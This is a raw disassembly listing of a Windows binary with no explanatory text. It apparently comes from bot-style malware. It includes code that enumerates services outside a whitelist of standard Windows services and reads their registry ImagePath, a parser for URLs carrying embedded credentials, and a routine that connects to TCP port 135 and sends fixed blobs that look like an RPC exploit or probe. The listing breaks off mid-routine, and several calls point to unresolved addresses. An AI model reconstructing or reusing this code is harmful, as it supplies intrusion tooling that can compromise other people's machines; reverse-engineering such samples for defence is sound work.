loc_4207C6:				; CODE XREF: sub_420630+136j
		push	esi
		nop
		call	near ptr 28506B2h


loc_4207CD:				; CODE XREF: sub_420630+11Fj
		mov	eax, [esp+78h+var_68]
		add	edi, 4
		dec	eax
		mov	[esp+78h+var_68], eax
		jnz	loc_42073F
		pop	ebp
		pop	ebx


loc_4207E1:				; CODE XREF: sub_420630+EFj
		pop	edi
		mov	al, 1
		pop	esi
		mov	ecx, [esp+68h+arg_10C4]
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
; ---------------------------------------------------------------------------


loc_4207FA:				; CODE XREF: sub_420630+46j
					; sub_420630+8Cj ...
		mov	ecx, [esp+18h+arg_1118]
		xor	al, al
		pop	esi
		mov	large fs:0, ecx
		add	esp, 113Ch
		retn
sub_420630	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208A0	proc near		; CODE XREF: sub_401875j
		push	esi
		mov	esi, ecx
		call	sub_40142E
		mov	eax, esi
		pop	esi
		retn
sub_4208A0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4208C0	proc near		; CODE XREF: sub_401A82j
		jmp	sub_401226
sub_4208C0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4208E0	proc near		; CODE XREF: sub_402162j

var_518		= byte ptr -518h
var_514		= dword	ptr -514h
var_510		= dword	ptr -510h
var_50C		= dword	ptr -50Ch
var_508		= dword	ptr -508h
var_504		= dword	ptr -504h
var_500		= dword	ptr -500h
var_4FC		= dword	ptr -4FCh
var_4F8		= byte ptr -4F8h
var_4E4		= dword	ptr -4E4h
var_4E0		= dword	ptr -4E0h
var_4DC		= dword	ptr -4DCh
var_4D8		= dword	ptr -4D8h
var_4D4		= dword	ptr -4D4h
var_4D0		= dword	ptr -4D0h
var_4CC		= dword	ptr -4CCh
var_4C8		= dword	ptr -4C8h
var_4C4		= dword	ptr -4C4h
var_4C0		= dword	ptr -4C0h
var_4BC		= dword	ptr -4BCh
var_4B8		= dword	ptr -4B8h
var_4B4		= dword	ptr -4B4h
var_4B0		= dword	ptr -4B0h
var_4AC		= dword	ptr -4ACh
var_4A8		= dword	ptr -4A8h
var_4A4		= dword	ptr -4A4h
var_4A0		= dword	ptr -4A0h
var_49C		= dword	ptr -49Ch
var_498		= dword	ptr -498h
var_494		= dword	ptr -494h
var_490		= dword	ptr -490h
var_48C		= dword	ptr -48Ch
var_488		= dword	ptr -488h
var_484		= dword	ptr -484h
var_480		= dword	ptr -480h
var_47C		= dword	ptr -47Ch
var_478		= dword	ptr -478h
var_474		= dword	ptr -474h
var_470		= dword	ptr -470h
var_46C		= dword	ptr -46Ch
var_468		= dword	ptr -468h
var_464		= dword	ptr -464h
var_460		= dword	ptr -460h
var_45C		= dword	ptr -45Ch
var_458		= dword	ptr -458h
var_454		= dword	ptr -454h
var_450		= dword	ptr -450h
var_44C		= dword	ptr -44Ch
var_448		= dword	ptr -448h
var_444		= dword	ptr -444h
var_440		= dword	ptr -440h
var_43C		= dword	ptr -43Ch
var_438		= dword	ptr -438h
var_430		= byte ptr -430h
var_41C		= byte ptr -41Ch
var_408		= byte ptr -408h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4208E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 50Ch
		push	ebx
		push	ebp
		xor	ebx, ebx
		push	80000000h
		push	ebx
		push	ebx
		nop
		call	near ptr 29108D6h
		mov	ebp, eax
		cmp	ebp, ebx
		mov	[esp+520h+var_500], ebp
		jnz	short loc_42092F
		pop	ebp
		xor	al, al
		pop	ebx
		mov	ecx, [esp+518h+var_C]
		mov	large fs:0, ecx
		add	esp, 518h
		retn
; ---------------------------------------------------------------------------


loc_42092F:				; CODE XREF: sub_4208E0+34j
		push	esi
		push	edi
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4E4], offset aAudiosrv ; "AudioSrv"
		mov	[esp+528h+var_4E0], offset aBrowser ; "Browser"
		mov	[esp+528h+var_4DC], offset aCryptsvc ; "CryptSvc"
		mov	[esp+528h+var_4D8], offset aDhcp ; "Dhcp"
		mov	[esp+528h+var_4D4], offset aDmserver ; "dmserver"
		mov	[esp+528h+var_4D0], offset aDnscache ; "Dnscache"
		mov	[esp+528h+var_4CC], offset aErsvc ; "ERSvc"
		mov	[esp+528h+var_4C8], offset aEventlog ; "Eventlog"
		mov	[esp+528h+var_4C4], offset aEventsystem	; "EventSystem"
		mov	[esp+528h+var_4C0], offset aFastuserswitch ; "FastUserSwitchingCompatibility"
		mov	[esp+528h+var_4BC], offset aHelpsvc ; "helpsvc"
		mov	[esp+528h+var_4B8], offset aLanmanserver ; "lanmanserver"
		mov	[esp+528h+var_4B4], offset aLanmanworkstat ; "lanmanworkstation"
		mov	[esp+528h+var_4B0], offset aLmhosts ; "LmHosts"
		mov	[esp+528h+var_4AC], offset off_445314
		mov	[esp+528h+var_4A8], offset aMessenger ;	"Messenger"
		mov	[esp+528h+var_4A4], offset aNetman ; "Netman"
		mov	[esp+528h+var_4A0], offset off_4452FC
		mov	[esp+528h+var_49C], offset aPlugplay ; "PlugPlay"
		mov	[esp+528h+var_498], offset aPolicyagent	; "PolicyAgent"
		mov	[esp+528h+var_494], offset aProtectedstora ; "ProtectedStorage"
		mov	[esp+528h+var_490], offset aRasman ; "RasMan"
		mov	[esp+528h+var_48C], offset aRpcss ; "RpcSs"
		mov	[esp+528h+var_488], offset aSamss ; "SamSs"
		mov	[esp+528h+var_484], offset aSchedule ; "Schedule"
		mov	[esp+528h+var_480], offset aSeclogon ; "seclogon"
		mov	[esp+528h+var_47C], offset aSens ; "SENS"
		mov	[esp+528h+var_478], offset aShellhwdetecti ; "ShellHWDetection"
		mov	[esp+528h+var_474], offset aSpooler ; "Spooler"
		mov	[esp+528h+var_470], offset aSsdpsrv ; "SSDPSRV"
		mov	[esp+528h+var_46C], offset aStisvc ; "stisvc"
		mov	[esp+528h+var_468], offset aTapisrv ; "TapiSrv"
		mov	[esp+528h+var_464], offset aTermservice	; "TermService"
		mov	[esp+528h+var_460], offset aTrkwks ; "TrkWks"
		mov	[esp+528h+var_45C], offset aUploadmgr ;	"uploadmgr"
		mov	[esp+528h+var_458], offset aUpnphost ; "upnphost"
		mov	[esp+528h+var_454], offset aW32time ; "W32Time"
		mov	[esp+528h+var_450], offset aWebclient ;	"WebClient"
		mov	[esp+528h+var_44C], offset aWinmgmt ; "winmgmt"
		mov	[esp+528h+var_448], offset aWzcsvc ; "WZCSVC"
		mov	[esp+528h+var_444], offset aWuauserv ; "wuauserv"
		mov	[esp+528h+var_440], offset aSrservice ;	"srservice"
		mov	[esp+528h+var_43C], offset aThemes ; "Themes"
		mov	[esp+528h+var_438], ebx
		mov	[esp+528h+var_510], ebx
		call	sub_40142E
		lea	eax, [esp+528h+var_510]
		lea	ecx, [esp+528h+var_514]
		mov	esi, dword_511718
		push	eax
		lea	edx, [esp+52Ch+var_518]
		push	ecx
		push	edx
		lea	eax, [esp+534h+var_41C]
		push	ebx
		push	eax
		push	1
		push	30h
		push	ebp
		mov	[esp+548h+var_4], ebx
		mov	[esp+548h+var_50C], ebx
		mov	[esp+548h+var_504], 80h
		call	esi
		mov	ecx, [esp+524h+var_514]
		push	ecx
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		mov	edi, eax
		lea	edx, [esp+524h+var_50C]
		lea	eax, [esp+524h+var_510]
		push	edx
		mov	edx, [esp+528h+var_514]
		lea	ecx, [esp+528h+var_514]
		push	eax
		push	ecx
		push	edx
		push	edi
		push	1
		push	30h
		push	ebp
		call	esi
		mov	eax, [esp+524h+var_510]
		mov	[esp+524h+var_504], ebx
		cmp	eax, ebx
		jbe	loc_420C8F
		mov	ebp, dword_511764


loc_420B6B:				; CODE XREF: sub_4208E0+3A5j
		mov	eax, offset aAudiosrv ;	"AudioSrv"
		test	eax, eax
		jz	short loc_420B97
		lea	esi, [esp+524h+var_4E0]


loc_420B78:				; CODE XREF: sub_4208E0+2B5j
		mov	ecx, [edi]
		push	ecx
		push	eax
		call	near ptr 77C4624Eh
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_420C73
		mov	eax, [esi+4]
		add	esi, 4
		cmp	eax, ebx
		jnz	short loc_420B78


loc_420B97:				; CODE XREF: sub_4208E0+292j
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Services\\%s"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+524h+var_508]
		push	ecx
		push	20019h
		push	ebx
		lea	ecx, [esp+530h+var_4F8]
		call	sub_40168B
		push	eax
		push	80000002h
		call	ebp
		cmp	eax, ebx
		jz	short loc_420BE3
		mov	edx, [edi]
		lea	eax, [esp+524h+var_4F8]
		push	edx
		push	offset aS????_exeUnkno ; "[%s] [????.exe] (Unknown key)"
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420BE3:				; CODE XREF: sub_4208E0+2EAj
		mov	eax, [esp+524h+var_508]
		lea	ecx, [esp+524h+var_500]
		lea	edx, [esp+524h+var_408]
		push	ecx
		push	edx
		push	ebx
		push	ebx
		push	offset aImagepath ; "ImagePath"
		push	eax
		nop
		call	near ptr 2900000h
		cmp	eax, ebx
		jz	short loc_420C1D
		mov	ecx, [edi]
		lea	edx, [esp+524h+var_4F8]
		push	ecx
		push	offset aS????_exe ; "[%s] [????.exe]"
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		jmp	short loc_420C3A
; ---------------------------------------------------------------------------


loc_420C1D:				; CODE XREF: sub_4208E0+324j
		mov	ecx, [edi]
		lea	eax, [esp+524h+var_408]
		push	eax
		push	ecx
		lea	edx, [esp+52Ch+var_4F8]
		push	offset aSS	; "[%s]	[%s]"
		push	edx
		call	sub_40102D
		add	esp, 10h


loc_420C3A:				; CODE XREF: sub_4208E0+301j
					; sub_4208E0+33Bj
		lea	eax, [esp+524h+var_4F8]
		lea	ecx, [esp+524h+var_430]
		push	eax
		call	sub_4014D3
		mov	ecx, [esp+524h+arg_4]
		push	eax
		mov	byte ptr [esp+528h], 1
		call	sub_401325
; ---------------------------------------------------------------------------
		lea	ecx, [esp+524h+var_430]
		mov	[esp+524h], bl
		call	sub_401226


loc_420C73:				; CODE XREF: sub_4208E0+2A7j
		mov	eax, [esp+524h+var_504]
		mov	ecx, [esp+524h+var_510]
		inc	eax
		add	edi, 24h
		cmp	eax, ecx
		mov	[esp+524h+var_504], eax
		jb	loc_420B6B
		mov	ebp, [esp+524h+var_4FC]


loc_420C8F:				; CODE XREF: sub_4208E0+27Fj
		push	ebp
		nop
		call	near ptr 2920000h
		lea	ecx, [esp+528h+var_4FC]
		mov	[esp+528h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+528h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 518h
		retn
sub_4208E0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420DD0	proc near		; CODE XREF: sub_4015F5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		push	eax
		push	esi
		push	0
		call	near ptr 2891C12h
		nop
		push	eax
		nop
		call	near ptr 2891118h
		mov	eax, esi
		pop	esi
		retn
sub_420DD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E00	proc near		; CODE XREF: sub_401A37j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		mov	[ebp+var_4], 0
		mov	[ebp+arg_4], eax
		femms
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		mov	ebx, [ebp+var_4]
		cmp	ecx, 2
		js	short loc_420E39


loc_420E22:				; CODE XREF: sub_420E00+32j
		xor	eax, eax
		mov	ax, [edx]
		add	ebx, eax
		sub	ecx, 2
		add	edx, 2
		cmp	ecx, 1
		jg	short loc_420E22
		cmp	ecx, 0
		jz	short loc_420E4A


loc_420E39:				; CODE XREF: sub_420E00+20j
					; sub_420E00+48j
		xor	eax, eax
		mov	al, [edx]
		add	ebx, eax
		sub	ecx, 1
		add	edx, 1
		cmp	ecx, 0
		jg	short loc_420E39


loc_420E4A:				; CODE XREF: sub_420E00+37j
		mov	[ebp+var_4], ebx
		mov	eax, [ebp+var_4]
		shr	eax, 10h
		mov	ebx, [ebp+var_4]
		and	ebx, 0FFFFh
		add	eax, ebx
		mov	ebx, eax
		shr	ebx, 10h
		add	eax, ebx
		mov	[ebp+var_4], eax
		femms
		mov	eax, [ebp+var_4]
		pop	ebx
		not	eax
		mov	esp, ebp
		pop	ebp
		retn
sub_420E00	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EA0:				; CODE XREF: ___:00401019j
		mov	eax, [esp+4]
		mov	dword_50DB24, eax
		mov	eax, offset dword_50DB24
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_420EC0:				; CODE XREF: ___:0040177Bj
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+10h]
		push	edi
		mov	edi, dword_511AAC
		push	esi
		call	edi	; ftell
		mov	ebp, dword_511AA4
		push	2
		push	0
		push	esi
		mov	ebx, eax
		call	ebp	; fseek
		push	esi
		call	edi	; ftell
		push	0
		push	ebx
		push	esi
		mov	edi, eax
		call	ebp	; fseek
		add	esp, 20h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_420F10	proc near		; CODE XREF: sub_401947j

var_84		= byte ptr -84h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_420F10
		push	eax
		mov	large fs:0, esp
		sub	esp, 78h
		push	ebx
		push	esi
		mov	esi, [esp+8Ch+arg_0]
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jnz	short loc_420F3F
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420F3F:				; CODE XREF: sub_420F10+26j
		lea	ecx, [esp+90h+var_84]
		call	sub_40142E
		push	esi
		lea	ecx, [esp+94h+var_84]
		mov	[esp+94h+var_4], ebx
		call	sub_4015E1
		push	offset asc_444C6C ; ":"
		lea	eax, [esp+94h+var_54]
		push	ebx
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		mov	esi, [esp+90h+arg_4]
		push	eax
		mov	ecx, esi
		mov	byte ptr [esp+94h+var_4], 1
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jz	short loc_420FCF
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_420FCF:				; CODE XREF: sub_420F10+92j
					; sub_420F10+A2j
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	40h
		mov	ecx, eax
		mov	byte ptr [esp+94h+var_4], 2
		call	sub_401D34
		lea	ecx, [esp+90h+var_54]
		mov	edi, eax
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	edi, ebx
		push	offset asc_4453E8 ; "/"
		push	1
		jz	loc_42130C
		lea	edx, [esp+98h+var_24]
		lea	ecx, [esp+98h+var_84]
		push	edx
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 3
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_54]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 4
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 5
		call	sub_401FDC
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_4210C9
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_4210C9:				; CODE XREF: sub_420F10+19Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 6
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 7
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 8
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421195
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42117E
		mov	dword ptr [esi+54h], 50h


loc_42117E:				; CODE XREF: sub_420F10+265j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421195
		mov	dword ptr [esi+54h], 15h


loc_421195:				; CODE XREF: sub_420F10+255j
					; sub_420F10+27Cj
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 9
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	ebx
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ah
		call	sub_4016B8
		lea	edi, [esi+2Ah]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Bh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42124E
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42124E:				; CODE XREF: sub_420F10+321j
		push	offset asc_4453E8 ; "/"
		lea	eax, [esp+94h+var_54]
		push	1
		push	eax
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset a@	; "@"
		lea	ecx, [esp+94h+var_3C]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Ch
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	edx, [esp+94h+var_24]
		push	1
		push	edx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Dh
		call	sub_4016B8
		lea	edi, [esi+3Fh]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 0Eh
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Dh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], 0Ch
		call	sub_401226
		lea	ecx, [esp+90h+var_54]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	loc_421433
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_42130C:				; CODE XREF: sub_420F10+100j
		lea	eax, [esp+98h+var_3C]
		lea	ecx, [esp+98h+var_84]
		push	eax
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	ebx
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 0Fh
		call	sub_4016B8
		lea	edi, [esi+15h]
		push	eax
		mov	ecx, edi
		mov	byte ptr [esp+94h+var_4], 10h
		call	sub_401FDC
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 0Fh
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		push	offset byte_448F30
		mov	ecx, edi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421393
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		xor	al, al
		jmp	loc_421519
; ---------------------------------------------------------------------------


loc_421393:				; CODE XREF: sub_420F10+466j
		push	offset asc_4453E8 ; "/"
		lea	edx, [esp+94h+var_3C]
		push	1
		push	edx
		lea	ecx, [esp+9Ch+var_84]
		call	sub_4016B8
		push	offset asc_444C6C ; ":"
		lea	ecx, [esp+94h+var_24]
		push	1
		push	ecx
		mov	ecx, eax
		mov	byte ptr [esp+9Ch+var_4], 11h
		call	sub_4016B8
		mov	ecx, eax
		mov	byte ptr [esp+90h+var_4], 12h
		call	sub_4017EE
		push	eax
		call	near ptr 77C1BF18h
		nop
		add	esp, 4
		lea	ecx, [esp+90h+var_24]
		mov	[esi+54h], eax
		mov	byte ptr [esp+90h+var_4], 11h
		call	sub_401226
		lea	ecx, [esp+90h+var_3C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		cmp	[esi+54h], ebx
		jnz	short loc_421433
		push	offset aHttp	; "http"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_42141C
		mov	dword ptr [esi+54h], 50h


loc_42141C:				; CODE XREF: sub_420F10+503j
		push	offset aFtp	; "ftp"
		mov	ecx, esi
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_421433
		mov	dword ptr [esi+54h], 15h


loc_421433:				; CODE XREF: sub_420F10+3DBj
					; sub_420F10+4F3j ...
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_84]
		call	sub_4013ED
		lea	edx, [esp+90h+var_6C]
		push	eax
		push	edx
		lea	ecx, [esp+98h+var_84]
		call	sub_401E47
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 13h
		call	sub_4013ED
		push	eax
		lea	eax, [esp+94h+var_24]
		push	eax
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 14h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		push	offset asc_4453E8 ; "/"
		lea	ecx, [esp+94h+var_6C]
		call	sub_4013ED
		lea	ecx, [esp+90h+var_24]
		push	eax
		push	ecx
		lea	ecx, [esp+98h+var_6C]
		call	sub_401E47
		push	eax
		lea	ecx, [esp+94h+var_6C]
		mov	byte ptr [esp+94h+var_4], 15h
		call	sub_40202C
		lea	ecx, [esp+90h+var_24]
		mov	byte ptr [esp+90h+var_4], 13h
		call	sub_401226
		add	esi, 58h
		push	offset asc_4453E8 ; "/"
		mov	ecx, esi
		call	sub_4015E1
		lea	edx, [esp+90h+var_6C]
		mov	ecx, esi
		push	edx
		call	sub_4016C7
		lea	ecx, [esp+90h+var_6C]
		mov	byte ptr [esp+90h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+90h+var_84]
		mov	[esp+90h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1


loc_421519:				; CODE XREF: sub_420F10+2Aj
					; sub_420F10+BAj ...
		mov	ecx, [esp+90h+var_C]
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 84h
		retn
sub_420F10	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 190h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4216D0	proc near		; CODE XREF: sub_401AFFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	edx, [esp+arg_4]
		push	ebx
		mov	ebx, [esp+4+arg_C]
		push	ebp
		sub	edx, ebx
		xor	eax, eax
		push	esi
		push	edi
		test	edx, edx
		jle	short loc_4216FB


loc_4216E4:				; CODE XREF: sub_4216D0+29j
		mov	esi, [esp+10h+arg_0]
		mov	edi, [esp+10h+arg_8]
		add	esi, eax
		mov	ecx, ebx
		xor	ebp, ebp
		repe cmpsb
		jz	short loc_421702
		inc	eax
		cmp	eax, edx
		jl	short loc_4216E4


loc_4216FB:				; CODE XREF: sub_4216D0+12j
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_421702:				; CODE XREF: sub_4216D0+24j
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
sub_4216D0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_421720:				; CODE XREF: ___:004020B8j
		mov	eax, 2010h
		call	sub_437B30
		mov	eax, [esp+2018h]
		push	ebp
		push	esi
		dec	eax
		push	edi
		jz	short loc_42176D
		dec	eax
		jz	short loc_421747
		dec	eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_421747:				; CODE XREF: ___:00421738j
		mov	eax, [esp+2020h]
		push	1388h
		push	eax
		call	sub_402022
		add	esp, 8
		neg	al
		sbb	eax, eax
		pop	edi
		pop	esi
		and	eax, 3
		pop	ebp
		add	esp, 2010h
		retn
; ---------------------------------------------------------------------------


loc_42176D:				; CODE XREF: ___:00421735j
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		cmp	esi, 0FFFFFFFFh
		jz	loc_4218C9
		xor	ecx, ecx
		push	87h
		mov	[esp+10h], ecx
		mov	word ptr [esp+10h], 2
		mov	[esp+14h], ecx
		mov	[esp+18h], ecx
		mov	[esp+1Ch], ecx
		call	near ptr 71AB2B66h
		nop
		mov	edx, [esp+2020h]
		mov	[esp+0Eh], ax
		push	edx
		call	sub_40188E
		add	esp, 4
		mov	[esp+10h], eax
		lea	eax, [esp+0Ch]
		push	10h
		push	eax
		push	esi
		call	near ptr 71AB406Ah
		nop
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	ebp, dword_511CA0
		push	0
		push	48h
		push	offset dword_444DB0
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		mov	edi, dword_511CA4
		push	0
		lea	ecx, [esp+20h]
		push	2000h
		push	ecx
		push	esi
		call	edi	; recv
		cmp	eax, 0FFFFFFFFh
		jz	loc_4218C2
		cmp	byte ptr [esp+1Eh], 0Ch
		jnz	loc_4218C2
		push	0
		push	18h
		push	offset dword_444E24
		push	esi
		call	ebp	; send
		cmp	eax, 0FFFFFFFFh
